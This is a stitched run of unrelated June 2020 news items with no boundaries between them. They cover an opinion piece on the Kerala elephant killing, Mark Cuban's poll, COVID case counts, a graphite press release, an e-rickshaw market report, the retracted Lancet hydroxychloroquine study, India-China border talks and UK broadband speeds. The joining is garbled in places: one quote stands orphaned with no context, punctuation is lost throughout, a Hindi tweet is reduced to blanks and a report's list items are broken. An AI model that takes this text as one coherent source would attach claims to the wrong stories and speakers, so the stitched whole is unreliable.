The Malappuram district since its inception has been vulnerable to xenophobic, Islamophobic remarks and rants by the Sangh Parivar. The demographic features of Malappuram make it seductive place for anti- Islam and anti-Muslim propaganda. And now when Maneka Gandhi, without any shame whatsoever propagated a lie, the fault-lines of Malappuram districts demographic profile were criminalized.

Notwithstanding, the killing of the elephant is inexcusable offence, and the killers must be punished but it is also important to know the whole gambit of the news without anti-Muslim anti-Islam propaganda.

There is no mention in the media discourse on the nature versus human conflict going on in the Western Ghats. Animals come out from their natural habitats, in search of food; as it happened in this elephants case, while the human species to save their food from being poached, devise ways to protect them from the animals. They use electrical barbed wire and other such things to fence and protect their morsel from being eaten by the beasts. This dimension of nature versus human conflict has never been highlighted in this elephant killing.

The animal right activist like Maneka Gandhi and Godi Media wear filtered glasses and started anti-Muslim, anti- Islam rants without understanding the delicate nuances of the human relationship with nature in this part of the world.

Now without sounding dis-compassionate towards animals, a counter to the fuss made about the pregnancy of the elephant can be raised by the question that did the elephant killers had any clue of the animals body till the autopsy was known.

Now, if this is linked to the pregnancy of Jamia Millia Islamia student, Safoora Zargar who was arrested for her alleged role leading the anti-CAA protest, the question is where does the compassion disappear as it is shown in the case of this elephant. What comes out clearly from this story is that human compassion for fellow human beings is overlooked and compassion for a beast of burden is brought out and made use of.

Last but not the least, some Indian leaders and media are mountain blind. They have no clue of the myriad problems of the silent valley in the Western Ghats. What they like to do is to find a slightest opportunity where they can stat anti-Muslim anti-Islam angle propaganda so that they can blindly train their guns against both.

The tail piece: Kerala Chief Minister Pinarayi Vijayan has said that strict action will be taken against those involved in the killing of the pregnant elephant in Kerala and culprits will be brought to justice.

Syed Ali Mujtaba is a journalist based in Chennai. He can be contacted at [email protected]
Mark Cuban has long flirted with political aspirations.

AP Photo/Evan Vucci

Mark Cuban, the entrepreneur and owner of the NBA's Dallas Mavericks, revealed Thursday that he went so far as to commission a poll while exploring a presidential run in 2020.

Cuban told political strategist David Axelrod that the poll featured a three-way matchup between President Donald Trump, former Vice President Joe Biden, and himself.

"And what they found out was, I would take some votes away from Donald Trump, particularly with independents ... I dominated the independent vote," Cuban said. "I got like 77% of it."

However, Cuban said his numbers topped out at about 25% overall, and he concluded his run would be too inconsequential to make it worth persuading his family to back a presidential bid.

Visit Business Insider's homepage for more stories.

Mark Cuban is not running for president in 2020, but he has thought about it  and even commissioned a poll just three weeks ago.

Cuban's flirtations with political aspirations are nothing new, but putting a poll in the field is a fresh development.

The entrepreneur and Dallas Mavericks owner appeared on "The Axe Files" podcast and told political strategist David Axelrod that he recently hired a pollster to put out a 2020 survey.

"So I hired a pollster," Cuban told Axelrod, who is now the director of the University of Chicago's Institute of Politics after serving as the chief strategist for both of Barack Obama's presidential campaigns.

"And this was two weeks ago  three weeks ago," Cuban said. "And what they found out was, I would take some votes away from Donald Trump, particularly with independents."

He added: "In a three way between me, Biden, and Trump, I just dominated with me as an independent. I dominated the independent vote. I got like 77% of it."

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Cuban also said he was able to shave off some support from both Biden and Trump, but the overall numbers were not enough to move the needle.

"But in aggregate, I was only able to get up to 25%," he said.

"From every which way, cross tab, you name it  I had it scrutinized every which way," Cuban added.

Without a stronger case to make on the numbers, Cuban told Axelrod it would have been a steep path to convince his family to back a bid.

"If the numbers were to come back significantly higher, and I would have been able to take more away from either or both candidates, then I probably would have tried to convince my family," he said. "But given where they were, it just wasn't worth it."

Read the original article on Business Insider
Mondays Four Corners, Injection of Hope by reporter Sophie McNeill delves into the science and pressure of a developing coronavirus vaccine.

Were optimistic and we think that weve got enough irons in the fire to solve the problem, but we certainly dont want to give false hope. Viral infectious diseases expert

Coronavirus restrictions are starting to loosen and our cities and towns are showing more signs of life than they have in months. But health authorities and the federal and state governments insist that without an effective vaccine or treatment for coronavirus, life cannot fully return to normal.

The pressure has been enormousin normal vaccine development you would have months to work some of these issues out. Weve got days and weeks to do that instead. Professor of Virology & vaccine researcher

Australian scientists are at the forefront of this hunt for a vaccine, working around the clock on several promising contenders. The stakes are high, and the degree of difficulty is intense.

People need to appreciate that trying to develop a vaccine in the face of a pandemic is a bit like trying to do a Houdini trick where someone puts a bag over your head so you cant see. Theres much more that you dont know to what you do know. Director of Endocrinology & vaccine researcher

On Monday Four Corners takes you into their world, where they face extraordinary scientific hurdles as well as extreme moral and ethical dilemmas.

It is cutting edge science and so we have to go carefully because we dont want anything that puts people at risk. Chair, Coalition for Epidemic Preparedness Innovations

While their efforts showcase the best that science has to offer, behind their impressive endeavours is a story of missed opportunities and a lack of preparedness. Many had been warning of a likely pandemic for years, only to see resources and efforts invested elsewhere.

Weve seen our teams dissolve, disperse, expertise go overseas because the funding just wasnt able to sustain the work or a salary for any of those people. I think weve lost a lot of capability over the last couple of years. Viral infectious diseases expert

Infectious diseases experts say our ability to respond to this predictable outbreak has been undermined by funding cuts and short-term thinking.

Its a sad reality that funding for preparedness in these areas runs on the cycle that we describe as being one of panic and then neglect. Former Secretary of the Dept of Health

In the event a vaccine is developed, some fear that individual nations may refuse to share it until their own populations have been inoculated.

What we dont want to see is a level of vaccine nationalism, where countries basically are not prepared to contribute to the global effortits in nobodys interest. Former Secretary of the Dept of Health

The program also explores the contentious question of who gets to profit from any future vaccine, and whether it will be made available to those least able to afford it.

Its very easy to criticise big pharma, but to be quite blunt until someone comes up with an alternative, we have to go with what weve got. Immunologist & former Australian of the Year

As scientists race to invent and test a range of possible vaccines, those funding much of the research say we should be cautiously optimistic.

Weve never seen this level of collaboration, cooperation. Weve seen unusual bedfellows. The private sector, the public sector, science, medicine, everyone coming together. Chair, Coalition for Epidemic Preparedness Innovations

Monday 8th of June at 8.30pm.
I was on call last week and it was incredibly difficult for me not to be able to participate in the marches or protests because I wouldve been there in a heartbeat, Simpson said. For us to come together and express what were feeling here, to express our grieving and our pain and have the support of one another, it means a lot. We feel heard."
Source: Xinhua| 2020-06-05 19:00:14|Editor: huaxia

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KUALA LUMPUR, June 5 (Xinhua) -- Malaysia reported 19 new COVID-19 cases, pushing the national total to 8,266, the Health Ministry said on Friday.

Health Ministry Director-General Noor Hisham Abdullah said at a press briefing that of the new cases, seven are imported while among the 12 local transmissions, nine are Malaysian and three are foreign nationals.

One more death was reported, the first since May 22, with the victim having suffered from health conditions before becoming infected, pushing the total deaths to 16.

The daily increase also marked a significant drop compared to a day earlier, when a record high of 277 case were reported, mostly foreign detainees in an immigration detention center.

Another 51 patients have been released bringing the total cured and discharged to 6,610 or 80 percent of all cases.

Of the remaining 1,540 active cases, six are currently being held in intensive care and one of those is in need of assisted breathing.

Meanwhile Prime Minister Muhyiddin Yassin announced a 35-billion-ringgit (8.2 billion U.S. dollars) economic stimulus package to aid recovery from the pandemic.

In a televised speech, Muhyiddin outlined 40 initiatives, focusing on supporting workers and small and medium-sized enterprises (SMEs) through training programmers, social support, financing schemes, boosting domestic consumption and other supporting industries.

Muhyiddin added that 9 billion ringgit (2.1 billion U.S. dollars) would be spent on mitigating the problem of unemployment caused by economic disruptions resulting from the outbreak, as well as expanding the wage subsidy program. Enditem
A video featuring personnel from the Central Reserve Police Force (CRPF) taking a pledge to boycott Chinese goods was the result of emotions and is not the official stand, said a spokesperson from the worlds largest paramilitary force.

Officials said the incident reportedly took place on June 2 at a force camp in Sopore in north Kashmir prompting the CRPF to issue a statement, saying there is a video going viral on social media regarding some CRPF personnel taking a pledge not to use foreign goods, adding that they are looking into the matter.

This is not the official stand of CRPF and some personnel of a unit based in Kashmir have taken the pledge out of emotions at local-level, said DIG Dinakaran, spokesperson, CRPF.

In the video, a group of men dressed in combat uniform standing in a row in an open field are seen taking oath in Hindi by raising hands to boycott Chinese products: electronic goods, clothes, food, among other things.

Recently, Ladakh-based innovator and educationist Sonam Wangchuk had appealed to Indians to boycott Chinese products in the backdrop of the recent standoff between Indian and Chinese forces along the Line of Actual Control (LAC).

Wagchuks video from Ladakh drew over 20 lakh views in two days but he says that those should be converted into something concrete that would bite the Chinese government.

He insisted the peoples wallet power could be an ideal supplement for the armys capabilities to safeguard our borders in Ladakh.

Indias trade deficit with China is massive at $56.77 billion. The bilateral trade between India and China was $93 billion last year after it fell by about $3 billion as both countries experienced economic slowdown.
VANCOUVER, British Columbia, June 04, 2020 (GLOBE NEWSWIRE) -- Ceylon Graphite Corp. (Ceylon Graphite) (CYL.V) (CYLYF) (FSE: CCY) is pleased to announce its first sale of graphite from its wholly owned subsidiary, Sarcon Development (Pvt) Ltd (Sarcon Development), to the Korean market.

The sale, which was for 300 kgs of vein graphite with carbon content of 95-97%, was to Elves Graphite Co, Ltd of Seoul, South Korea. The graphite was purchased to evaluate its suitability for battery manufacturers and other industries who use high-grade graphite in their manufacturing processes in South Korea. The shipment is expected to ship immediately.

Korea is a large market for high purity graphite, said Bharat Parashar, Chief Executive Officer. We believe that our graphite is ideally suited to meet the high standards of the South Korean lithium ion battery and hi-tech industry and will be attractive to the Chaebols. We hope we will see sizeable orders shortly.

Sri Lankan graphite is recognized as amongst the purest in the world, which combined with a low cost of production, makes it ideal for many uses, most notably when upgraded to battery-grade graphite for lithium ion batteries and for the burgeoning market of graphene applications.

Ceylon Graphites K1 mine entered commercial production in December 2019 with exploration continuing at its other selected sites. Sarcon Development has control of 121 Grids in Sri Lanka.

About Ceylon Graphite Corp.

Ceylon Graphite is a public company listed on the TSX Venture Exchange that is in the business of exploration and development of graphite mines in Sri Lanka. The Government of Sri Lanka has granted the company exploration rights in a land package of over 120km. These exploration grids (each one square kilometer in area) cover areas of historic graphite production from the early twentieth century and represent a majority of the known graphite occurrences in Sri Lanka. Graphite mined in Sri Lanka is known to be some of the purest in the world, and currently accounts for less than 1% of the world graphite production.

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Further information regarding the Company is available at www.ceylongraphite.com

Contact:

Bharat Parashar Corporate Communications Chairman & Chief Executive Officer info@ceylongraphite.com +1(202)352-6022

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

FORWARD LOOKING STATEMENTS

This news release contains forward-looking information as such term is defined in applicable securities laws, which relate to future events or future performance and reflect management's current expectations and assumptions. The forward-looking information includes statements about Ceylon Graphites grids, Ceylon Graphites plans to undertake additional drilling and to develop a mine plan, and to commence establishing mining operations. Such forward-looking statements reflect management's current beliefs and are based on assumptions made by and information currently available to Ceylon Graphite, including the assumption that, there will be no material adverse change in metal prices, all necessary consents, licenses, permits and approvals will be obtained, including various Local Government Licenses and the market. Investors are cautioned that these forward-looking statements are neither promises nor guarantees and are subject to risks and uncertainties that may cause future results to differ materially from those expected. Risk factors that could cause actual results to differ materially from the results expressed or implied by the forward-looking information include, among other things, an inability to reach a final acquisition agreement, inaccurate results from the drilling exercises, a failure to obtain or delays in obtaining the required regulatory licenses, permits, approvals and consents, an inability to access financing as needed, a general economic downturn, a volatile stock price, labour strikes, political unrest, changes in the mining regulatory regime governing Ceylon Graphite, a failure to comply with environmental regulations and a weakening of market and industry reliance on high quality graphite. Ceylon Graphite cautions the reader that the above list of risk factors is not exhaustive.
DUBLIN, June 5, 2020 /PRNewswire/ -- The "COVID-19 Impact on the E-Rickshaw Market Potential in India: Estimating Demand for E-Rickshaw and its Components by 2024-25" report has been added to ResearchAndMarkets.com's offering.

This report aims to provide an objective view on the realistic demand for e-Rickshaws over the next 5-6 years and how COVID-19 is likely to dent the demand trajectory. The report will also outline the opportunity that component manufacturers have for catering to the demand for battery and traction motors.



With over 2 million infected worldwide, the COVID-19 contagion continues to wreak havoc across all major developed and developing economy except China.

The complete shutdown of economic activity in India over a period of 40 days between March till early May, is expected to shave off 6-7% of the total GDP pie and in the event of a prolonged shutdown, the economy is likely to see worse contraction ever seen in history. Rating Agencies and Multilaterals have already painted a grim picture on India's economy and are expecting growth to be in the range of 1-2% in FY20-21. As the Government gears up to follow a calibrated approach to resuming normalcy, Industry is a worried lot as the trinity of Man, Material and Machine, topped up by Time is under severe strain.

COVID-19 has led to both demand and supply shock at the same time and has led to significant disruption of the supply chain. As the contagion triggered reverse migration, getting labour back to factory is not going to be easy. COVID-19 has a devastating effect on oil prices that are at never before seen record low prices. Oil prices & derailment of the economy from growth path are expected to dent the prospects of faster adoption of electric vehicles in India.

The transportation sector has been one of the primary victims of COVID-19. From rickshaw pullers to airlines, all have been affected economically by the pandemic. So, how till it impact e-rickshaw segment is the key question to be asked. E-rickshaw demand may or may not be hit but the e-rickshaw driver's availability constraint may impact the near term demand.

Beginning from human-powered cycle rickshaws to auto-rickshaws, the era is now drifting towards most recent modification E-Rickshaws. These battery-operated three-wheelers are undoubtedly an integral part of transport eco-system in entire Delhi, Lucknow, Varanasi, Ghaziabad, Dehradun, Udaipur, Indore, Patna, Bhagalpur, Ranchi. E-Rickshaws dovetail beautifully as the last mile public conveyance with zero pollution in this entire equation. E-Rickshaws approved by the Union Ministry of Road Transport and Highways have a maximum width of 1 metre and a maximum length of 2.8 meters and are permitted to carry four passengers.

As per a report of Centre of Civil Society (CCS), the number of E-Rickshaws has risen from 4000 in 2010 to more than 1 Lakh, but a large percentage of such vehicles are still unregistered. There are only 29,123 registered E-Rickshaws from April 2013 to March 2017 as per Delhi government records. Urbanization is at its peak in India. The introduction of Metro in the last decade has made commuting easier for longer distances.

However, E-Rickshaw can provide last mile connectivity and hence buoyed by the success of E-Rickshaw service in Noida and Ghaziabad, the Delhi Metro Rail Corporation (DMRC) extended the service to commuters in the national capital. The specially designed E-Rickshaws with covered cabin and full front windscreen will provide the last mile connectivity within an area of 3-4 KM around Metro stations. They are also enabled with CCTV and GPS availability. The facility of E-Rickshaws at the stations in Gurugram and Faridabad will also get operational very shortly by another operator. On successful implementation of the E-Rickshaw services in the NCR region, services on similar format would be replicated in Delhi subject to the feasibility.

According to the consulting form, A.T. Kearney, around 11,000 new E-Rickshaws are sold on a monthly basis in the country. The opportunity is so big that many start-ups are venturing into this space. SmartE, a ride-hailing service that employs over 800 E-Rickshaws around New Delhi, believes when looking at electric mobility, the focus should be on whether the government is enabling products that are designed for the future. Ola, India's largest ride-hailing startups, has plans to employ 10,000 E-Rickshaws in its fleet by April 2019. One of the biggest setbacks to the growth of EVs in India is the dearth of charging and battery-swap stations.

By the end of 2017, India had just 425 public charging stations. Government and private initiatives are expected to boost this number to 2,800 by 2022, according to BNEF. However, some companies aren't waiting for the government and are starting to build their own infrastructure. SmartE and Delhi Metro Rail Corp has struck a deal to provide charging points for E-Rickshaws near 10 stations, with plans to cover all 214 stations by the end of 2020.

Shishir Agrawal, the managing director of ShiganeVoltz Ltd., the parent company of GreenRick, an e-rick manufacturer, believes that another hurdle in the market is the absence of bank financing for the traditional rickshaw operators, who are typically low-income workers. If this issue is resolved, he believes it could be possible for the Gurgaon-company to produce 1,000 e-ricks a month. He says that the market has the potential for 20 million sales on an annual basis.

The publisher sees the segment as the most promising segment in the entire play and which will mushroom at a much faster rate than anticipated by any company. However, it is critical to asses the impact of COVID-19 on the demand for e-rickshaw as against the business as usual scenario.

Key Topics Covered



1. Executive Summary

2. Approach & Methodology

3. E-Rickshaw Market Landscape in India

Value Chain

Growth Trends

E-rickshaw Economics

4. E-Rickshaw Manufacturing Capabilities in India

OEMs (Organized, Unorganized)

Component Supplier

Service requirements

5. E-Rickshaw Models Specification and Pricing in India

Battery Specification

Charging Times

Range

Operating Cost

Battery Life

6. E-Rickshaw Subsidy in India

7. E-Rickshaw CapEx & Operational Costs

8. COVID-19 Impact on E-Rickshaw Market in India

Supply Chain

Demand

Subsidy

9. E-Rickshaw Market in India 2018-2019

By end-use application (passenger carrier, load carrier)

By motor power

<_000 />



1000-1500 W



>1500 W

By battery capacity

<_01 />



> 101 Ah

By regions

North



East



West



South

By States

10. E-Rickshaw Market Growth Drivers

Rapid urbanization

Replacement of Cycle Rickshaw with E-Rickshaw

Subsidy & Finance Support to Buyer

Cab aggregators like Ola and other moving into E-Rickshaw

11. E-Rickshaw Market Growth Restraints

Charging Infrastructure

CMVR Rules

Subsidies & Finance

Traffic Jam - U.P mulling ban on E-Rickshaw

12. E-Rickshaw Ownership

13. E-Rickshaw Market in India by 2024-2025: COVID-19 Scenario vs BAU

Optimistic Scenario

Pessimistic Scenario

Realistic Scenario

14. Estimating Demand for Power by E-Rickshaw for Charging

15. E-Rickshaw Battery Market in India by 2024-2025

16. E-Rickshaw Traction Motor Market in India by 2024-2025

17. E-Rickshaw Exports Opportunity

Export Trend

Estimating Exports Volume

Exports potential across SE Asia , SAARC region, MENA region

18. E-Rickshaw Market Need Gap Analysis

Interview of drivers across select regions across the country

19. Competitive Landscape

Profile of key manufacturers

Companies Mentioned



A.T. Kearney

BNEF

Centre of Civil Society (CCS)

Delhi Metro Rail Corp.

GreenRick

Ola

ShiganeVoltz Ltd.

SmartE

For more information about this report visit https://www.researchandmarkets.com/r/6qva9p

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Research and Markets

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The Ghana Union of Traders Association has expressed their displeasure with the transitional arrangement of Ghanas Universal Pass (UNIPASS) system as it costs the importer more than before.



The GUTA is therefore calling on government to fix associated challenges and bring operations at the port to normalcy with the enhanced efficiency that was promised the business community.



A statement signed by Dr Joseph Obeng, GUTA President and copied to the Ghana News Agency in Accra said prior to the introduction of the UNIPASS system, the Association was briefed on the efficiency that the new system would bring to enhance the clearing process at the ports.



It said: We recognised the fact that it is within the remit of the government to bring any system that will enhance trade facilitation and increase revenue for the state.



The statement said the Association was assured of a smooth transition and that the pilot programmes took place at other places other than the Tema Port and this is why GUTA was mute and observing the trend of affairs.



It said it was therefore surprised that the system was full of challenges that caused delay, which eventually cost the importer, in terms of demurrage and rent charges.



The statement said: We want to know, who bears the cost of such charges of demurrage and rent, since the importer, is not the cause of the problems in the implementation of the new system.

Source: GNA









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

Featured Video
TikTok star and Haryana BJP leader Sonali Phogat found herself in a controversy after a video surfaced showing her beating up a Hisar Market Committee official with her slipper for reportedly making derogatory remarks against her.

The video of her thrashing Sultan Singh with the slipper during a visit to the Balsamand Mandi, 25 km from the district headquarters, has gone viral with police personnel present at the scene remaining mute spectators.

In the video, Phogat could be seen hitting Sultan repeatedly with the slipper, while saying: "You have no right to live."

After thrashing him, she was heard asking the police to register a complaint against him.

Phogat and others present with her are not seen wearing masks in the video, even as the Haryana government has made it mandatory to wear masks in public in the wake of coronavirus pandemic.

Phogat had unsuccessfully contested the 2019 assembly elections from the Mandi Adampur and lost to Congress candidate Kuldeep Bishnoi, son of former Chief Minister Bhajan Lal.

Confirming the incident, Superintendent of Police in Hisar, Ganga Ram Punia, said the police received a complaint from Sultan Singh and appropriate action would be initiated against Phogat.

Congress national spokesman Randeep Singh Surjewala tweeted: "The market committee secretary was thrashed like an animal."

      !           ,           ?     ?      ? pic.twitter.com/2K1aHbFo5l  Randeep Singh Surjewala (@rssurjewala) June 5, 2020

"These acts (have been) done by a BJP leader. Is it a crime to do a government job? Will (Chief Minister Manohar Lal) Khattar take action against Phogat? Will the media still remain silent?" he added.

Phogat, however, said she had gone to meet the officials of the district Market Committee on Friday pertaining to some grievance of farmers. She said an official was showing her the place in the Balsamand area of Hisar district where a shed could come up for the convenience of farmers when he started passing indecent and derogatory remarks against her.

Phogat claimed the official also made some comments against another woman official of the Market Committee and a woman minister in the Manohar Lal Khattar-led cabinet.

"When he was showing me the place where the shed was to come up, he first made a mention of the community to which I belong. He also talked about another woman official and a woman minister who also come from the same community as mine," she said, adding the official then made "indecent and derogatory remarks" against her.

Asked why she decided to take law into her hands, Phogat hit back, "What right does he (official) have to talk to a woman like this? If he would not be taught a lesson, he will not let any woman come out tomorrow."

(With inputs from agencies)
(Alliance News) - The fourth round of talks between Britain and the EU on a post-Brexit trade deal ends on Friday amid little sign of progress.

The four days of negotiations marked the final opportunity for the two sides to move the process forward before a potentially make-or-break high-level summit later this month.

The UK has until the end of June to seek an extension to the current transition period a which finishes at the end of the year a to allow more time for discussions, something Boris Johnson has vowed he will not do.

There is mounting concern among business a already hit hard by the fallout from the coronavirus pandemic a at the prospect of a "cliff edge" break to the UK's remaining access to the EU single market with no new deal to replace it.

The latest talks got off to an unpromising start with a series of testy exchanges between London and Brussels before the official online negotiations had begun.

The EU's chief negotiator Michel Barnier publicly accused the UK of backtracking on previously agreed commitments, warning that the EU would not sign up to a deal "at any cost".

Downing Street hit back charging the EU with making a series of "unbalanced" demands binding the UK to EU laws and standards to an unprecedented degree for a trade deal.

The two sides are also deadlocked over fisheries, with the UK resisting EU demands for continued long-term access to British waters.

By Gavin Cordon, PA Whitehall Editor

source: PA

Copyright 2020 Alliance News Limited. All Rights Reserved.
The authors of a study that raised medical concerns over the use of Hydroxychloroquine for treating Coronavirus withdrew their research on Thursday, blaming a company that provided the data.

The study, published in the Lancet journal of medicine, had claimed to have analysed around 96,000 patient records, finding that hydroxychloroquine and chloroquine, common anti-malarial drugs, were ineffective in treating COVID-19 and even increased the risk of patients death. It also flagged Heart arrhythmia as a particular concern.

These finding on Hydroxychloroquine - favoured by President Donald Trump, led the World Health Organisation to temporarily suspend clinical trials into the medicines. But the paper soon raised widespread concern among scientists over a lack of information about the hospitals around the world that contributed data.

READ | Germany Pauses Anti-malaria Drug Hydroxychloroquine Study For COVID-19

Mandeep Mehra, a professor at Harvard University who led the work, along with Frank Ruschitzka of the University Hospital Zurich and Amit Patel of the University of Utah, said they had tried to conduct a third-party review. However, Surgisphere, a small healthcare analytics firm based in Chicago that provided the data, refused to cooperate.

The Lancet journal offered its own statement, saying there are many outstanding questions about Surgisphere and the data included in the study. Despite the other findings verifying the safety of hydroxychloroquine, there is still no proof from a randomised clinical trial (RCT) that the medicine works against COVID-19.

READ | US Sends Brazil Hydroxychloroquine To Fight Covid, months After Getting Exports From India

Research scandal

The research scandal undermines confidence in the world's leading medical journals amid a pandemic. After The Lancet published the study, highlighting numerous red flags, researchers began to scrutinise the information provided by Surgisphere.

An international media outlet had revealed that the Chicago-based firm had a scant presence on the internet, and only a handful of its staff were listed on LinkedIn including a science fiction author and a model. The firm was involved in yet another eye-catchy study which found that HCL could be useful against COVID-19, as per reports.

READ | EU Governments Ban Use Of Hydroxychloroquine Drug For COVID-19 Patients

READ | France Halts Use Of Hydroxychloroquine For COVID-19 Patients
The death toll from coronavirus has risen above 100,000 in the US, while there were also record numbers getting sick in India and worrying signs of a resurgence in South Korea.

The once-unthinkable milestone in the US means more Americans have died with the virus than were killed in the Vietnam and Korean wars combined.

Its a striking reminder of how dangerous this virus can be, said Josh Michaud, associate director of global health policy with the Kaiser Family Foundation in Washington.

India, home to more than 1.3 billion people, reported more than 6,500 new infections on Thursday as cases continued to rapidly rise. The surge comes as the nations two-month-old lockdown is set to end on Sunday.

(PA Graphics)

South Korea reported 79 new cases, its biggest daily jump in more than 50 days, and a big setback for a nation that has been held up as a model for containment.

South Korean health officials warned the resurgence is getting harder to track and social distancing and other steps need to be taken.

Most new cases were from the Seoul metropolitan area, where about half of the nations 51 million people live.

Residents wearing face masks in Seoul (Ahn Young-joon/AP)

Some countries are seeing improvements. New cases in Spain and Italy have fallen steadily for two months, China reported just two new cases on Thursday, both from abroad, and New Zealand has reported no new infections for six days and has just eight active cases.

But the situation in many countries underscores the difficulty in reopening economies.

In the US, Las Vegas casinos and Walt Disney World have made plans to reopen, and crowds of unmasked Americans are expected to swarm beaches over the summer months. Public health officials predict a resurgence by the autumn.

Crowds at Ocean Beach in San Francisco (Jessica Christian/San Francisco Chronicle/AP)

Anthony Fauci, the nations top infectious disease expert, issued a stern warning after watching video of Memorial Day crowds gathered at a pool party in Missouri.

We have a situation in which you see that type of crowding with no mask and people interacting. Thats not prudent, and thats inviting a situation that could get out of control, he said.

Story continues

Worldwide, the virus has infected more than 5.6 million people and killed over 350,000, with the US having the most confirmed cases and deaths, according to a tally by Johns Hopkins University.

Europe has recorded about 170,000 deaths.

(PA Graphics)

The true death toll from the virus is widely believed to be significantly higher, with experts saying many victims died without being tested.

Early on, President Donald Trump downplayed the severity of the virus, likening it to flu, and predicted the US would not reach 100,000 deaths.

I think well be substantially under that number, he said on April 10. Ten days later, he said: Were going toward 50,000 or 60,000 people. Ten days after that: Were probably heading to 60,000, 70,000.

Critics have said deaths spiked because he was slow to respond, but he has contended on Twitter that it could have been 20 times higher without his actions. He has urged states to reopen their economies after months of stay-at-home restrictions.

In hard-hit Brazil, the virus has been spreading into indigenous lands and this week two virus deaths were registered in the Xingu area, one of the biggest reserves in the world.

Those who died were from the Kayapo indigenous group. The communitys leader, Megaron, said he wants President Jair Bolsonaro and other officials to stop loggers, miners and fishermen from illegally entering the territory, incursions he believes have sped up the spread of the virus.

But Mr Bolsonaro is a strong critic of environmentalist groups and non-profit organisations that work with indigenous people. He also contends there has been an overreaction to the virus and argues against lockdowns ordered by local officials, saying the economic disruption will kill more than the virus.
China on Friday said that it is committed to properly resolve the relevant issue with India ahead of the key talks between senior Indian and Chinese military officials on Saturday to end the border standoff.

Both the sides are expected to deliberate on specific proposals to end the month-long bitter standoff in eastern Ladakh during the first extensive talks between the Indian and Chinese military on Saturday, led by lieutenant generals from both the armies.

Chinese Foreign Ministry spokesman Geng Shuang told a media briefing here that "at the moment the situation in the boundary region between China and India is overall stable and controllable".

"We have full-fledged border-related mechanisms and we maintain close communications though military and diplomatic channels," he said when asked about reports that Indian and Chinese military officials are due to hold talks on Saturday. "We are committed to properly resolve the relevant issue," Geng said.

The general officer commanding of Leh-based 14 Corps, Lt Gen Harinder Singh, is expected to represent India at the talks which is scheduled to be held at one of the border meeting points, the official sources in New Delhi said. The Indian side is expected to present specific proposals at the talks to de-escalate tension in Pangong Tso, Galwan Valley and Demchok - the three areas in eastern Ladakh where the two sides have been on a bitter standoff for the last one month, the sources said.

It is not immediately known what will be the proposals that the Indian military will take to the negotiating table but it is understood that it will insist on return to status quo in all the areas. The two sides have already held at least 10 rounds of negotiations between local commanders as well as major general-rank officials of the two armies but the talks did not yield any positive result, they said.

It is learnt that two sides are also engaged in diplomatic talks to find a solution to the face-off which is turning out to be the most serious military standoff between the two armies after the Doklam episode of 2017.

After the standoff began early last month, the Indian military leadership decided that Indian troops will adopt a firm approach dealing with the aggressive posturing by the Chinese troops in all disputed areas of Pangong Tso, Galwan Valley, Demchok and Daulat Beg Oldie.

The Chinese Army is learnt to have deployed around 2,500 troops in Pangong Tso and Galwan Valley besides gradually enhancing temporary infrastructure and weaponry. India has also been bolstering its presence by sending additional troops and artillery guns, the sources said.

The trigger for the face-off was China's stiff opposition to India laying a key road in the Finger area around the Pangong Tso Lake besides construction of another road connecting the Darbuk-Shayok-Daulat Beg Oldie road in Galwan Valley.

The troops of India and China were engaged in a 73-day stand-off in the Doklam tri-junction in 2017 which triggered fears of a war between the two nuclear-armed neighbours. The India-China border dispute covers the 3,488-km-long LAC. China claims Arunachal Pradesh as part of southern Tibet while India contests it. Both sides have been asserting that pending the final resolution of the boundary issue, it is necessary to maintain peace and tranquillity in the border areas.
BRUSSELS (dpa-AFX) - The Labor Department will release U.S. jobs data for May at 8:30 am ET Friday. Ahead of the data, the greenback traded mixed against its major counterparts. While it rose against the franc, it held steady against the rest of major rivals. The greenback was worth 109.19 against the yen, 0.9583 against the franc, 1.2679 against the pound and 1.1332 against the euro as of 8:25 am ET. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
People say their broadband speeds have been worse during coronavirus lockdown, despite the providers claiming they've managed the surge in demand well.

According to a YouGov survey, 28 per cent have noticed their internet connection has become slightly worse than usual, while 7 per cent said it was much worse.

It comes as three quarters of those questioned claimed they were going online more heavily due to lockdown, including working, going to school and staying in touch.

Last month, analysis by regulator Ofcom suggested that download speeds have only fallen by an average of 2 per cent since lockdown began in the UK.

According to a YouGov survey, 28 per cent have noticed their internet connection has become slightly worse than usual, while 7 per cent said it was much worse

According to the YouGov survey 69 per cent of people who experienced connectivity issues said it affected general online activities.

A similar percentage said they had problems with internet steaming and 59 per cent had issues making internet video calls due to connection problems.

Just over half of the 2,301 people questioned said they had problems completing work-related tasks as a result of connection problems.

However, over half - 57 per cent - of participants questioned said they noticed no change in the performance of their home internet connection.

'New YouGov research shows that the internet had become even more important to daily life during the coronavirus lockdown,' said Olivia Bonito from YouGov.

'Of course this means that many are now using their internet much more than usual but a significant proportion - a third - are experiencing worse internet performance than they did prior to the lockdown,' she said.

Difficulty accessing stable internet may get worse as the number of people in a household increases - suggesting performance is impacted by demand.

'While many might be able to cope in the short term, it could start to affect productivity if working from home becomes the 'new normal',' said Bonito.

According to Ofcom average broadband speeds have held up but people's connections have been under much higher demand.

This demand comes from home working and home schooling.

It comes as three quarters of those questioned claimed they were going online more heavily due to lockdown, including working, going to school and staying in touch

A spokesperson for Ofcom said this increase in demand 'can mean some services slow down even on a good connection'.

'So we're providing a range of practical tips on how people can get the most from their broadband and stay connected during the lockdown.'

The regulator published seven tips for staying connected during the lockdown on its website including doing regular speed checks on your connection.

Ofcom's seven tips include only using landlines or wifi to make phone calls - rather than clog up the mobile network with voice calls and keeping broadband routers away from other wireless devices such as TVs, speakers and baby monitors.

The regulator said this would help people 'whether it's for video streaming, virtual meetings or voice calls.'

'Broadband and mobile networks are under increased demand because of the coronavirus (Covid-19),' Ofcom wrote in a blog post.

'We can all play our part in helping to manage how we use our connections.'
